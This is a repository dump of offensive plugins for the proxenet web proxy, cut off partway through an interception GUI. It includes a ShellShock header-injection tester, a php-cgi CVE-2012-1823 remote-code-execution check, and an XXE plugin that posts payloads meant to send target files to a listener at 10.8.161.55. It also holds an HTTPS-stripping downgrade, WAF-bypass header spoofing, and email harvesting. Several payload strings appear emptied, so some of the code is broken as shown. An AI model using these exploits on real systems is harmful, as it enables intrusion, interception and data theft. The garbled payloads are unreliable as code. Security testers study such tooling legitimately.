├── 1DumpComments.py ├── 1DumpEmails.py ├── 1HttpsStrip.py ├── 3CheckDirectoryListing.py ├── 5ShellShock.rb ├── 5XxeReverseConnect.rb ├── 9AddHeadersForWafBypass.lua ├── 9CVE-2012-1823.py ├── 9Interceptor.py ├── 9LogReqRes.py ├── 9NoHardFeelingsBro.py ├── 9SeriouslyNoHardFeelings.rb ├── DumpReqRes.py ├── LICENSE ├── README.md ├── oPhishPoison.py └── pimp.py /1DumpComments.py: -------------------------------------------------------------------------------- 1 | """ 2 | This script will dump all comments fields from intercepted HTML response. 3 | 4 | Note: no deflate/gzip decompression is performed here 5 | """ 6 | 7 | __PLUGIN__ = "DumpComments" 8 | __AUTHOR__ = "@_hugsy_" 9 | 10 | def proxenet_request_hook(rid, request, uri): 11 | return request 12 | 13 | def proxenet_response_hook(rid, response, uri): 14 | comment_start_tag, comment_end_tag = ("") 15 | off = 0 16 | while True: 17 | i = response[off:].find(comment_start_tag) 18 | if i == -1: 19 | break 20 | 21 | n = response[off+i:].find(comment_end_tag) 22 | if n==-1: 23 | off += i + len(comment_start_tag) 24 | break 25 | 26 | print "Found comment in %d: %s" % (rid, response[off+i:off+i+n+3]) 27 | off = off+i+n 28 | 29 | return response 30 | -------------------------------------------------------------------------------- /1DumpEmails.py: -------------------------------------------------------------------------------- 1 | """ 2 | This script will dump all emails in intercepted HTML response. 3 | 4 | Note: no deflate/gzip decompression is performed here 5 | """ 6 | 7 | __PLUGIN__ = "DumpEmails" 8 | __AUTHOR__ = "@_hugsy_" 9 | 10 | import re 11 | 12 | def proxenet_request_hook(rid, request, uri): 13 | return request 14 | 15 | def proxenet_response_hook(rid, response, uri): 16 | patt = re.compile(r"([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+)") 17 | for email in patt.findall(response): 18 | print "Found email in %d: %s" % (rid, email) 19 | 20 | return response 21 | -------------------------------------------------------------------------------- /1HttpsStrip.py: -------------------------------------------------------------------------------- 1 | """ 2 | This plugin for proxenet will strip any HTTPS pattern 3 | in responses and automatically replace it with their 4 | HTTP equivalent. 5 | """ 6 | 7 | AUTHOR = "hugsy" 8 | PLUGIN_NAME = "HttpsStrip" 9 | 10 | 11 | def proxenet_request_hook(request_id, request, uri): 12 | return request 13 | 14 | def proxenet_response_hook(response_id, response, uri): 15 | return response.replace("https://", " http://") 16 | 17 | if __name__ == "__main__": 18 | pass 19 | -------------------------------------------------------------------------------- /3CheckDirectoryListing.py: -------------------------------------------------------------------------------- 1 | """ 2 | 3 | proxenet plugin to automatically detect Directory Listing on all the web tree 4 | of a specific URL. 5 | 6 | """ 7 | 8 | import urllib, urlparse, re 9 | 10 | 11 | AUTHOR = "hugsy" 12 | PLUGIN_NAME = "CheckDirectoryListing" 13 | 14 | ALREADY_VISITED_PATH = [] 15 | 16 | 17 | def success(msg): 18 | print("\x1b[4m\x1b[1m\x1b[95m" + msg + "\x1b[0m") 19 | return 20 | 21 | 22 | def get_paths(uri): 23 | o = urlparse.urlparse(uri) 24 | if not hasattr(o, 'path') or len(o.path)==0 or not o.path.startswith("/"): 25 | return [] 26 | 27 | host = "{}://{}".format(o.scheme, o.netloc) 28 | path = re.sub(r'[]/]{2,}', r'/', o.path) 29 | urls = [] 30 | prefix = '/' 31 | for subpath in o.path.split("/"): 32 | if len(subpath)==0: continue 33 | prefix += subpath + '/' 34 | if prefix not in urls: 35 | urls.append(host + prefix) 36 | return urls 37 | 38 | 39 | def scan_dirlist(path): 40 | PATTERNS = ["Parent Directory", "Last modified", "Index Of", 41 | "Description", "Name", "Size", "Apache/", "../"] 42 | match = 0 43 | success_ratio = 0.70 44 | 45 | try: 46 | f = urllib.urlopen(path) 47 | text = f.read() 48 | 49 | for patt in PATTERNS: 50 | if patt in text: 51 | match += 1 52 | 53 | ratio = float(match)/len(PATTERNS) 54 | 55 | if (success_ratio/2) < ratio < success_ratio: 56 | success( "[+] Directory listing on '%s' (LIKELY)" % path ) 57 | elif ratio >= success_ratio: 58 | success( "[+] Directory listing on '%s'" % path ) 59 | 60 | except Exception as e: 61 | pass 62 | 63 | return 64 | 65 | 66 | def proxenet_request_hook(request_id, request, uri): 67 | global ALREADY_VISITED_PATH 68 | 69 | for url in get_paths(uri): 70 | if url in ALREADY_VISITED_PATH: 71 | continue 72 | 73 | scan_dirlist(url) 74 | ALREADY_VISITED_PATH.append( url ) 75 | 76 | return request 77 | 78 | 79 | def proxenet_response_hook(response_id, response, uri): 80 | return response 81 | 82 | 83 | if __name__ == "__main__": 84 | rid = 1337 85 | target = "192.168.56.102:80" 86 | path = "/blah/blih//plop//////balhhe?foobar" 87 | uri = "http://{:s}{:s}".format(target, path) 88 | req = "GET {:s} HTTP/1.1\r\n".format(path) 89 | req+= "Host: {:s}\r\n".format(target) 90 | req+= "X-Header: Powered by proxenet\r\n\r\n" 91 | 92 | proxenet_request_hook(rid, req, uri) 93 | exit(0) 94 | -------------------------------------------------------------------------------- /5ShellShock.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # 3 | 4 | require 'rubygems' 5 | 6 | # gem install unirest 7 | require 'unirest' 8 | # gem install http_parser.rb 9 | require 'http/parser' 10 | 11 | 12 | module ShellShock 13 | 14 | $PLUGIN_NAME = "ShellShock" 15 | $AUTHOR = "thorgul" 16 | 17 | $vuln_flag = "Vulnerable: yes" 18 | $vuln_trigger = '() { :;}; echo -e ' 19 | 20 | module_function 21 | 22 | def shellshock_inject(uri, headers, targets) 23 | vulns = [] 24 | 25 | targets.each do |k| 26 | inj_headers = headers.dup 27 | inj_headers[k] = "#{$vuln_trigger} '#{$vuln_flag}'" 28 | 29 | response = Unirest.get(uri, headers: inj_headers) 30 | 31 | if response.headers[:vulnerable] == "yes" 32 | vulns << k 33 | end 34 | end 35 | 36 | return vulns 37 | end 38 | 39 | def proxenet_request_hook(request_id, request, uri) 40 | puts "ShellShock" 41 | 42 | if uri.include? "/cgi-bin" 43 | # begin 44 | vulns = [] 45 | parser = Http::Parser.new 46 | parser << request 47 | 48 | # puts uri 49 | headers = parser.headers.dup 50 | vulns << shellshock_inject(uri, headers, headers.keys) 51 | 52 | headers['This-is-a-random-parameter'] = 'blah' 53 | vulns << shellshock_inject(uri, headers, ['This-is-a-random-parameter']) 54 | 55 | vulns.flatten! 56 | if vulns.length > 0 57 | puts "#{File.basename __FILE__}: #{uri} parameters vulnerable to ShellShock:" 58 | vulns.each do |v| 59 | puts "#{File.basename __FILE__}: #{v}" 60 | end 61 | end 62 | end 63 | return request 64 | end 65 | 66 | def proxenet_response_hook(response_id, response, uri) 67 | return response 68 | end 69 | 70 | end 71 | 72 | if __FILE__ == $0 73 | proxenet_request_hook(ARGV[0], ARGV[1], ARGV[2]) 74 | end 75 | -------------------------------------------------------------------------------- /5XxeReverseConnect.rb: -------------------------------------------------------------------------------- 1 | require 'rubygems' 2 | require 'uri' 3 | 4 | # gem install http_parser.rb 5 | require 'http/parser' 6 | # gem install unirest 7 | require 'unirest' 8 | 9 | $ipaddr = "10.8.161.55" # get_default_ipv4_addr() 10 | $port = 3000 11 | $dir = "/tmp/proxenet-xxe-payload" 12 | $dtd_file = "pwn.dtd" 13 | $dtd_data = '' + "\n" + 14 | '\">\n" + 16 | '%p2;' + "\n" 17 | 18 | class String 19 | 20 | def base64_encode() 21 | [ self ].pack("m*") 22 | end 23 | 24 | end 25 | 26 | def setup_xxe_env() 27 | p = `ps aux | grep -v grep | grep 'ruby -rwebrick -e'` 28 | if p.nil? or p == "" 29 | 30 | # Dir.mkdir? $dir unless Dir.exist? $dir 31 | 32 | f = File.open($dir + "/" + $dtd_file, 'w') 33 | f.write("") 34 | 35 | pid = Process.fork 36 | if pid.nil? then 37 | exec "ruby -rwebrick -e\"include WEBrick 38 | 39 | callback = Proc.new do |req, res| 40 | unless req.nil? 41 | puts req.unparsed_uri[1..-1].unpack('m*')[0] + ' is vulnerable to XXE' 42 | end 43 | end 44 | 45 | s = HTTPServer.new(:BindAddress => '#{$ipaddr}', 46 | :Port => '#{$port}', 47 | :DocumentRoot => '#{$dir}', 48 | :AccessLog => [], 49 | :Logger => WEBrick::Log::new('/dev/null', 7), 50 | :RequestCallback => callback) 51 | trap('INT'){ s.shutdown } 52 | s.start\"" 53 | else 54 | Process.detach(pid) 55 | end 56 | 57 | 58 | end 59 | end 60 | 61 | setup_xxe_env() 62 | 63 | 64 | module XxeReverseConnect 65 | 66 | $PLUGIN_NAME = "XxeReverseConnect" 67 | $AUTHOR = "thorgul" 68 | 69 | def proxenet_request_hook(request_id, request, uri) 70 | puts "XXE ReverseConnect" 71 | return request unless request.start_with? "POST" 72 | 73 | xml_payload = '' + "\n" + 74 | '' + "\n" + 78 | '&e1;' 79 | 80 | parser = Http::Parser.new 81 | parser << request 82 | 83 | headers = parser.headers.dup 84 | headers['Content-Length'] = xml_payload.length 85 | headers['Content-Type'] = "text/xml" 86 | 87 | begin 88 | Unirest.post(uri, 89 | headers: headers, 90 | parameters: xml_payload) 91 | rescue RuntimeError => e 92 | end 93 | 94 | return request 95 | end 96 | 97 | def proxenet_response_hook(response_id, response, uri) 98 | return response 99 | end 100 | end 101 | 102 | if __FILE__ == $0 103 | proxenet_request_hook(ARGV[0], ARGV[1], ARGV[2]) 104 | end 105 | -------------------------------------------------------------------------------- /9AddHeadersForWafBypass.lua: -------------------------------------------------------------------------------- 1 | AUTHOR = "hugsy" 2 | PLUGIN_NAME = "AddHeadersForWafBypass" 3 | 4 | function proxenet_on_load() 5 | end 6 | 7 | function proxenet_on_leave() 8 | end 9 | 10 | function proxenet_request_hook (request_id, request, uri) 11 | local CRLF = "\r\n" 12 | local header = "X-Originating-IP: 127.0.0.1" .. CRLF 13 | header = header .. "X-Forwarded-For: 127.0.0.1" .. CRLF 14 | header = header .. "X-Remote-IP: 127.0.0.1" .. CRLF 15 | header = header .. "X-Remote-Addr: 127.0.0.1" 16 | 17 | return string.gsub(request, 18 | CRLF .. CRLF, 19 | CRLF .. header .. CRLF..CRLF) 20 | end 21 | 22 | function proxenet_response_hook (response_id, response, uri) 23 | return response 24 | end 25 | -------------------------------------------------------------------------------- /9CVE-2012-1823.py: -------------------------------------------------------------------------------- 1 | """ 2 | 3 | proxenet test plugin for CVE-2012-1823 : php-cgi code execution 4 | 5 | The test is made a synchronous way, so it will block during the test 6 | A small cache is implemented never to retest a same host (ip:port) twice. 7 | 8 | """ 9 | 10 | import sys, subprocess, urllib, urlparse, inspect 11 | 12 | AUTHOR = "hugsy" 13 | PLUGIN_NAME = "CVE-2012-1823" 14 | 15 | CMD = "uname -a" 16 | PATTERN_VALID = "Linux" 17 | 18 | ALREADY_TESTED_HOSTS = [] 19 | 20 | 21 | def safe_spawn(uri): 22 | global ALREADY_TESTED_HOSTS 23 | 24 | base_url = get_base_url(uri) 25 | if base_url in ALREADY_TESTED_HOSTS: 26 | return None 27 | 28 | cmd = ["python2", inspect.getfile(inspect.currentframe()), uri] 29 | p = subprocess.Popen(cmd, stdout=subprocess.PIPE) 30 | return p 31 | 32 | 33 | def try_cve_2012_1823(base_url): 34 | target_url = base_url + '?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input' 35 | post_data = """""".format(CMD) 36 | f = urllib.urlopen(target_url, data=post_data) 37 | response = f.read() 38 | return PATTERN_VALID in response 39 | 40 | 41 | def get_base_url(uri): 42 | blob = urlparse.urlparse( uri ) 43 | return blob.scheme + "://" + blob.netloc + "/" 44 | 45 | 46 | def proxenet_request_hook(request_id, request, uri): 47 | global ALREADY_TESTED_HOSTS 48 | 49 | p = safe_spawn(uri) 50 | if p is None: 51 | return request 52 | 53 | retcode = p.wait() 54 | if retcode : 55 | print("\x1b[4m\x1b[1m\x1b[95m{} is vulnerable to CVE-2012-1823!!\x1b[0m".format(uri)) 56 | 57 | ALREADY_TESTED_HOSTS.append( get_base_url(uri) ) 58 | return request 59 | 60 | 61 | def proxenet_response_hook(response_id, response, uri): 62 | return response 63 | 64 | 65 | if __name__ == "__main__": 66 | if len(sys.argv) == 2: 67 | print sys.argv[1] 68 | exit(try_cve_2012_1823(sys.argv[1])) 69 | 70 | # for testing 71 | rid = 1337 72 | target = "192.168.56.102:80" 73 | uri = "http://{:s}/".format(target) 74 | req = "GET /blah/blah?foobar HTTP/1.1\r\n" 75 | req+= "Host: {:s}\r\n".format(target) 76 | req+= "X-Header: Powered by proxenet\r\n\r\n" 77 | 78 | proxenet_request_hook(rid, req, uri) 79 | exit(0) 80 | -------------------------------------------------------------------------------- /9Interceptor.py: -------------------------------------------------------------------------------- 1 | """ 2 | Lightweight interception plugin for proxenet by @_hugsy_. 3 | On top of simply intercepting the traffic, it can be 4 | used to save request as raw text or as Python script 5 | ready to replay. 6 | Also it can be used to prepare `patator` command, for 7 | file/argument fuzzing. 8 | 9 | It will automatically recognize specific body formats: 10 | * JSON 11 | * XML 12 | 13 | And also parse ASP.NET viewstate. 14 | 15 | To add/remove file extensions to white/black list for 16 | interception, edit the file from the CONFIG_FILE 17 | variable. 18 | 19 | Requires: 20 | - PyQt4 21 | """ 22 | 23 | import sys, os, urlparse, json, subprocess, inspect, copy 24 | import socket, base64, pprint, urllib, ConfigParser 25 | 26 | try: 27 | from lxml import etree 28 | from PyQt4 import QtCore, QtGui 29 | from PyQt4.QtGui import * 30 | except ImportError as ie: 31 | print("Missing package: %s" % ie) 32 | exit(1) 33 | 34 | 35 | PLUGIN_NAME = "Interceptor" 36 | AUTHOR = "hugsy" 37 | 38 | CRLF = "\r\n" 39 | CONFIG_FILE = os.getenv("HOME") + "/.proxenet.ini" 40 | config = None 41 | 42 | WINDOW_SIZE = (960, 600) 43 | 44 | 45 | def error(msg): 46 | sys.stderr.write("\x1b[1m" + "\x1b[31m" + msg + "\x1b[0m\n") 47 | sys.stderr.flush() 48 | return 49 | 50 | 51 | class DoNotInterceptException(Exception): 52 | pass 53 | 54 | 55 | class OptionsView(QWidget): 56 | def __init__(self, parent): 57 | super(OptionsView, self).__init__() 58 | self.parent = parent 59 | self.setTabLayout() 60 | return 61 | 62 | def setTabLayout(self): 63 | lay = QVBoxLayout() 64 | l1 = QLabel() 65 | blacklist = config.get(PLUGIN_NAME, "__blacklisted") 66 | l1.setText("%d Blacklisted Extensions" % (len(blacklist))) 67 | te = QTextEdit() 68 | te.setFrameStyle(QFrame.Panel | QFrame.Plain) 69 | te.setDisabled(True) 70 | te.insertPlainText( "\n".join( blacklist ) ) 71 | te.setFrameStyle(QFrame.Panel | QFrame.Plain) 72 | lay.addWidget(l1) 73 | lay.addWidget(te) 74 | self.setLayout(lay) 75 | return 76 | 77 | 78 | class ViewState: 79 | def __init__(self, b64): 80 | self.vs_b64 = b64 81 | self.vs_raw = base64.decodestring(self.vs_b64) 82 | self.vs_arr = self.parseViewstate() 83 | return 84 | 85 | def decodeViewstate(self, i=0, p=[]): 86 | def decodeAsInt(j,q): 87 | n = str( ord(vs[j+1]) ) 88 | q.append( ("(%d)" % j, [(n, [])]), ) 89 | return j+2 90 | 91 | def decodeAsString(j,t,q): 92 | l = ord(vs[j+1]) 93 | s = vs[j+2 : j+2+l] 94 | q.append( ("<%s>(%d)"%(t,j), [(s, [])]), ) 95 | return i+2+l 96 | 97 | def decodeAsArray(j,n,t,q): 98 | P = ("<%s>(%d)"%(t,j), ) 99 | j = j+1 100 | for i in range(n): 101 | t = [] 102 | j = self.decodeViewstate(j, t) 103 | P += (t,) 104 | q.append( P ) 105 | return j 106 | 107 | vs = self.vs_raw[2:-20] 108 | 109 | if i >= len(vs): 110 | p.append( ("(%d)"%i, []), ) 111 | return 112 | 113 | if vs[i] == '\x02': 114 | return decodeAsInt(i,p) 115 | 116 | elif vs[i] == '\x05': 117 | return decodeAsString(i, "SystemString", p) 118 | 119 | elif vs[i] == '\x1e': 120 | return decodeAsString(i, "SystemWebUiIndexedString", p) 121 | 122 | elif vs[i] == '\x64': 123 | p.append( ("(%d)"%i, []), ) 124 | return i+1 125 | 126 | elif vs[i] == '\x0f': 127 | return decodeAsArray(i,2,"Pair",p) 128 | 129 | elif vs[i] == '\x10': 130 | return decodeAsArray(i,3,"Triple",p) 131 | 132 | elif vs[i] == '\x16': 133 | return decodeAsArray(i+1,ord(vs[i+1]),"ArrayList",p) 134 | 135 | # 136 | # TODO: check those types 137 | # 138 | # \x07 Double 139 | # \x15 SystemStringArray 140 | # \x18 HybridDictionary 141 | # \x1f SystemWebUiIndexedChar 142 | # \x28 ClassType 143 | # \x32 SerializedClass 144 | # \x3c IndexedArray 145 | # \x66 IntZero 146 | # \x67 BooleanTrue 147 | # \x68 BooleanFalse 148 | # 149 | 150 | p.append( ("(%d)"%(ord(vs[i]),i), []), ) 151 | return i+1 152 | 153 | def parseViewstate(self): 154 | try: 155 | vs = [] 156 | if not self.isValid(): raise Exception("ViewState is not a valid .NET ViewState") 157 | self.header = self.vs_raw[0:2] 158 | self.vs_hash = ":".join( [c.encode("hex") for c in self.vs_raw[-20:]] ) 159 | self.decodeViewstate(i=0, p=vs) 160 | except Exception as e: 161 | print("VIEWSTATE decoding failed: %s" % e) 162 | vs = [] 163 | 164 | return [ ("", vs), 165 | ("", [(self.vs_hash, [])]) ] 166 | 167 | def isValid(self): 168 | return self.vs_raw.startswith("\xff\x01") 169 | 170 | 171 | class AspViewstateInterceptView(QWidget): 172 | def __init__(self, parent): 173 | super(AspViewstateInterceptView, self).__init__() 174 | self.parent = parent 175 | self.data = self.getViewState() 176 | if self.data is None: 177 | self.viewstate = [] 178 | else: 179 | self.viewstate = ViewState(self.data) 180 | self.setTabLayout() 181 | return 182 | 183 | def getViewState(self): 184 | body = self.parent.parent.body 185 | args = [x.split("=") for x in body.split("&")] 186 | for k,v in args: 187 | if k=="__VIEWSTATE": return urllib.unquote(v) 188 | return None 189 | 190 | def setTabLayout(self): 191 | vs = self.viewstate.vs_arr 192 | lay = QVBoxLayout() 193 | l1 = QLabel("ASP .NET ViewState tree") 194 | m = QStandardItemModel() 195 | self.addItems(m, vs) 196 | self.tv = QTreeView() 197 | self.tv.setFrameStyle(QFrame.Panel | QFrame.Plain) 198 | self.tv.setModel(m) 199 | m.setHorizontalHeaderLabels(["ViewState"]) 200 | lay.addWidget(l1) 201 | lay.addWidget(self.tv) 202 | self.setLayout(lay) 203 | return 204 | 205 | def addItems(self, model, elements): 206 | for elt in elements: 207 | text = elt[0] 208 | children = elt[1:] 209 | item = QStandardItem(text) 210 | model.appendRow(item) 211 | if len(children): 212 | for child in children: 213 | self.addItems(item, child) 214 | return 215 | 216 | 217 | class XmlInterceptView(QWidget): 218 | def __init__(self, parent): 219 | super(XmlInterceptView, self).__init__() 220 | self.parent = parent 221 | self.setTabLayout() 222 | return 223 | 224 | def setTabLayout(self): 225 | lay = QVBoxLayout() 226 | self.xmll = QLabel() 227 | self.xmlf = QTextEdit() 228 | self.xmlf.setFrameStyle(QFrame.Panel | QFrame.Plain) 229 | self.xmlf.textChanged.connect( self.updateFields ) 230 | self.xmlf.insertPlainText( self.parent.parent.body ) 231 | lay.addWidget(self.xmll) 232 | lay.addWidget(self.xmlf) 233 | self.setLayout(lay) 234 | return 235 | 236 | def updateFields(self): 237 | p = QPalette() 238 | 239 | try: 240 | body = str( self.xmlf.toPlainText() ) 241 | parser = etree.XMLParser(dtd_validation=False) 242 | root = etree.fromstring( body, parser ) 243 | p.setColor( QPalette.Foreground, QtCore.Qt.darkYellow ) 244 | self.xmll.setText("Content is valid XML") 245 | except etree.XMLSyntaxError: 246 | p.setColor( QPalette.Foreground, QtCore.Qt.darkRed ) 247 | self.xmll.setText("Content is not valid XML") 248 | except Exception as e: 249 | p.setColor( QPalette.Foreground, QtCore.Qt.darkRed ) 250 | self.xmll.setText("Could not check XML validity: %s" % e) 251 | 252 | self.xmll.setPalette(p) 253 | self.parent.parent.body = body 254 | return 255 | 256 | def showEvent(self, event): 257 | body = self.parent.parent.body 258 | self.xmlf.clear() 259 | self.xmlf.insertPlainText( body ) 260 | return 261 | 262 | 263 | class JsonInterceptView(QWidget): 264 | def __init__(self, parent): 265 | super(JsonInterceptView, self).__init__() 266 | self.parent = parent 267 | self.setTabLayout() 268 | return 269 | 270 | def setTabLayout(self): 271 | lay = QVBoxLayout() 272 | self.jsonl = QLabel() 273 | self.jsonf = QTextEdit() 274 | self.jsonf.setFrameStyle(QFrame.Panel | QFrame.Plain) 275 | self.jsonf.textChanged.connect( self.updateFields ) 276 | self.jsonf.insertPlainText( self.parent.parent.body ) 277 | lay.addWidget(self.jsonl) 278 | lay.addWidget(self.jsonf) 279 | self.setLayout(lay) 280 | return 281 | 282 | def updateFields(self): 283 | p = QPalette() 284 | 285 | try: 286 | body = str( self.jsonf.toPlainText() ) 287 | js = json.loads(body) 288 | p.setColor( QPalette.Foreground, QtCore.Qt.darkYellow ) 289 | self.jsonl.setText("Content is valid JSON") 290 | except ValueError: 291 | p.setColor( QPalette.Foreground, QtCore.Qt.darkRed ) 292 | self.jsonl.setText("Content is not valid JSON") 293 | 294 | self.jsonl.setPalette(p) 295 | self.parent.parent.body = body 296 | return 297 | 298 | def showEvent(self, event): 299 | body = self.parent.parent.body 300 | self.jsonf.clear() 301 | self.jsonf.insertPlainText( body ) 302 | return 303 | 304 | 305 | class RawInterceptView(QWidget): 306 | def __init__(self, parent): 307 | super(RawInterceptView, self).__init__() 308 | self.parent = parent 309 | self.setTabLayout() 310 | return 311 | 312 | def updateBody(self): 313 | self.parent.parent.body = self.rawBodyTextField.toPlainText() 314 | return 315 | 316 | def setTabLayout(self): 317 | self.rawBodyTextField = QTextEdit( self.parent.parent.body ) 318 | self.rawBodyTextField.textChanged.connect( self.updateBody ) 319 | self.rawBodyTextField.setFrameStyle(QFrame.Panel | QFrame.Plain) 320 | tabLayout = QVBoxLayout() 321 | tabLabel = QLabel("This frame displays the body content as Raw") 322 | tabLayout.addWidget(tabLabel) 323 | tabLayout.addWidget( self.rawBodyTextField ) 324 | self.setLayout(tabLayout) 325 | return 326 | 327 | def showEvent(self, event): 328 | body = self.parent.parent.body 329 | self.rawBodyTextField.clear() 330 | self.rawBodyTextField.insertPlainText( body ) 331 | return 332 | 333 | 334 | class InterceptorMainWindow(QWidget): 335 | def __init__(self, parent): 336 | super(InterceptorMainWindow, self).__init__() 337 | self.parent = parent 338 | self.setTabs() 339 | self.setMainWindowLayout() 340 | return 341 | 342 | def updateHeaders(self): 343 | self.parent.headers = self.hdrEditField.toPlainText() 344 | 345 | def bounceRequest(self): 346 | body = str( self.parent.body ) 347 | headers = self.updateContentLengthHeader() if self.do_updateClen else str(self.parent.headers) 348 | self.parent.data = "%s\n\n%s" % (headers, body) 349 | QApplication.quit() 350 | return 351 | 352 | def setTabs(self): 353 | self.tabs = QTabWidget() 354 | self.tabs.addTab( RawInterceptView(self), "Raw View" ) 355 | self.tabs.addTab( JsonInterceptView(self), "JSON View" ) 356 | self.tabs.addTab( XmlInterceptView(self), "XML View" ) 357 | if "__VIEWSTATE=" in self.parent.body: 358 | self.tabs.addTab( AspViewstateInterceptView(self), "ViewState View" ) 359 | 360 | self.tabs.addTab( OptionsView(self), "Options" ) 361 | return 362 | 363 | def setMainWindowLayout(self): 364 | headerLayout = QVBoxLayout() 365 | lurl1 = QLabel("URL") 366 | lurl2 = QLabel("

%s

" % ("darkgreen" if self.parent.uri.startswith("https") \ 367 | else "darkred", 368 | self.parent.uri)) 369 | lheaders = QLabel("Headers") 370 | self.hdrEditField = QTextEdit() 371 | self.hdrEditField.insertPlainText( self.parent.headers ) 372 | self.hdrEditField.setFrameStyle(QFrame.Panel | QFrame.Plain) 373 | self.hdrEditField.textChanged.connect(self.updateHeaders ) 374 | headerLayout.addWidget(lurl1) 375 | headerLayout.addWidget(lurl2) 376 | headerLayout.addWidget(lheaders) 377 | headerLayout.addWidget(self.hdrEditField) 378 | 379 | bodyLayout = QVBoxLayout() 380 | l2 = QLabel("Body") 381 | bodyLayout.addWidget(l2) 382 | bodyLayout.addWidget( self.tabs ) 383 | 384 | btnLayout = QHBoxLayout() 385 | btnLayout.addStretch(1) 386 | cb = QCheckBox("Update 'Content-Length' header") 387 | cb.stateChanged.connect(self.updateContentLengthState) 388 | cb.toggle() 389 | bounceButton = QPushButton("Bounce") 390 | bounceButton.clicked.connect(self.bounceRequest) 391 | cancelButton = QPushButton("Cancel") 392 | cancelButton.clicked.connect(QApplication.quit) 393 | btnLayout.addWidget(cb) 394 | btnLayout.addWidget(cancelButton) 395 | btnLayout.addWidget(bounceButton) 396 | 397 | vbox = QVBoxLayout() 398 | vbox.addLayout(headerLayout) 399 | vbox.addLayout(bodyLayout) 400 | vbox.addLayout(btnLayout) 401 | self.setLayout(vbox) 402 | return 403 | 404 | def updateContentLengthState(self, state): 405 | self.do_updateClen = (state == QtCore.Qt.Checked) 406 | return 407 | 408 | def updateContentLengthHeader(self): 409 | headers = str(self.parent.headers).split("\n") 410 | clen = len(self.parent.body) 411 | 412 | for i in xrange(len(headers)): 413 | head = str(headers[i]) 414 | if head.startswith("Content-Length"): 415 | headers.pop(i) 416 | headers.append("Content-Length: %d" % clen) 417 | return "\n".join(headers) 418 | 419 | return "\n".join(headers) 420 | 421 | 422 | class Interceptor(QMainWindow): 423 | 424 | def __init__(self, rid, uri, data): 425 | super(Interceptor, self).__init__() 426 | self.rid = rid 427 | self.uri = uri 428 | self.title = "Interceptor for proxenet: Request %d" % (rid,) 429 | self.data = data 430 | 431 | if config.has_option(PLUGIN_NAME, "blacklisted_extensions"): 432 | blacklist = config.get(PLUGIN_NAME, "blacklisted_extensions").split(" ") 433 | else: 434 | blacklist = [] 435 | 436 | config.set(PLUGIN_NAME, "__blacklisted", blacklist) 437 | 438 | u = urlparse.urlparse(uri) 439 | if any( map(lambda x: u.path.endswith(x), blacklist) ): 440 | raise DoNotInterceptException() 441 | 442 | if not self.data.endswith("\n\n"): 443 | self.headers, self.body = self.data.split("\n\n") 444 | else: 445 | self.headers, self.body = self.data, "" 446 | 447 | self.intercept_shortcuts = { "SaveAsText" : ("Ctrl+S", "Save As Text file", self.writeTxtFile), 448 | "SaveAsPython" : ("Ctrl+P", "Save As Python script", self.writePyFile), 449 | "SaveAsRuby" : ("Ctrl+R", "Save As Ruby script", self.writeRbFile), 450 | "SaveAsPerl" : ("Ctrl+E", "Save As Perl script", self.writePlFile), 451 | "SaveAsCsrfPoc" : ("Ctrl+O", "Create a CSRF PoC from current request", self.writeCsrfPoc), 452 | "ActionPatator" : ("Ctrl+T", "Use 'patator' on the request", self.sendToPatator), 453 | "ActionSqlMap" : ("Ctrl+I", "Use 'sqlmap' on the request", self.sendToSqlMap), 454 | "ActionHelp" : ("Ctrl+H", "Show help", self.popupHelp), 455 | } 456 | 457 | self.setMainWindowProperty() 458 | self.setMainWindowMenuBar() 459 | self.setCentralWidget( InterceptorMainWindow( self ) ) 460 | self.show() 461 | return 462 | 463 | def center(self): 464 | frameGm = self.frameGeometry() 465 | screen = QtGui.QApplication.desktop().screenNumber(QtGui.QApplication.desktop().cursor().pos()) 466 | centerPoint = QtGui.QApplication.desktop().screenGeometry(screen).center() 467 | frameGm.moveCenter(centerPoint) 468 | self.move(frameGm.topLeft()) 469 | return 470 | 471 | def setMainWindowProperty(self): 472 | self.resize(*WINDOW_SIZE) 473 | self.setFixedSize(*WINDOW_SIZE) 474 | self.setWindowTitle(self.title) 475 | self.center() 476 | 477 | if config.has_option(PLUGIN_NAME, "style"): 478 | qtlook = config.get(PLUGIN_NAME, "style") 479 | else: 480 | qtlook = "Cleanlooks" 481 | qApp.setStyle( qtlook ) 482 | return 483 | 484 | def setMainWindowMenuBar(self): 485 | menubar = self.menuBar() 486 | fileMenu = menubar.addMenu('&Actions') 487 | for i in ["ActionHelp", "ActionSqlMap", "ActionPatator"]: 488 | code, desc, meth = self.intercept_shortcuts[i] 489 | action = QAction(QIcon(), desc, self) 490 | action.setShortcut(code) 491 | action.triggered.connect(meth) 492 | fileMenu.addAction(action) 493 | 494 | saveMenu = fileMenu.addMenu('Save As') 495 | for i in ["SaveAsText", "SaveAsPython", "SaveAsRuby", "SaveAsPerl", "SaveAsCsrfPoc"]: 496 | code, desc, meth = self.intercept_shortcuts[i] 497 | action = QAction(QIcon(), desc, self) 498 | action.setShortcut(code) 499 | action.triggered.connect(meth) 500 | saveMenu.addAction(action) 501 | return 502 | 503 | def popupHelp(self): 504 | title = "Shortcut definition" 505 | desc = "The following shortcuts are enabled:\n\n" 506 | for key in self.intercept_shortcuts.keys(): 507 | sc, d = self.intercept_shortcuts[key][0],self.intercept_shortcuts[key][1] 508 | desc+= "* {} {}\n".format(sc, d) 509 | QtGui.QMessageBox.information(self, title, desc, QtGui.QMessageBox.Information) 510 | return 511 | 512 | def sendToGeneric(self, cmd, cmd_text, **kwargs): 513 | clip = QApplication.clipboard() 514 | clip.setText(cmd_text) 515 | title = kwargs.get("title", "Send to %s" % cmd) 516 | desc = kwargs.get("desc", "'%s' command successfully copied to clipboard!" % cmd) 517 | QtGui.QMessageBox.information(self, title, desc, QtGui.QMessageBox.Ok) 518 | return 519 | 520 | def sendToSqlMap(self): 521 | method = self.headers.split(" ")[0].replace('"', '\\"') 522 | headers = self.headers.split("\n") 523 | cmd = """sqlmap.py -u "{}" """.format(self.uri) 524 | cmd+= """--method="{}" """.format(method.replace('"', '\\"')) 525 | for h in headers[1:]: 526 | if len(h): 527 | cmd+= """--header="{}" """.format(h.replace('"', '\\"')) 528 | if self.body is not None and len(self.body) > 0: 529 | cmd+= """--data="{}" """.format(self.body.replace('"', '\\"')) 530 | self.sendToGeneric("sqlmap", cmd) 531 | return 532 | 533 | def sendToPatator(self): 534 | method = self.headers.split(" ")[0].replace('"', '\\"') 535 | headers = self.headers.split("\n") 536 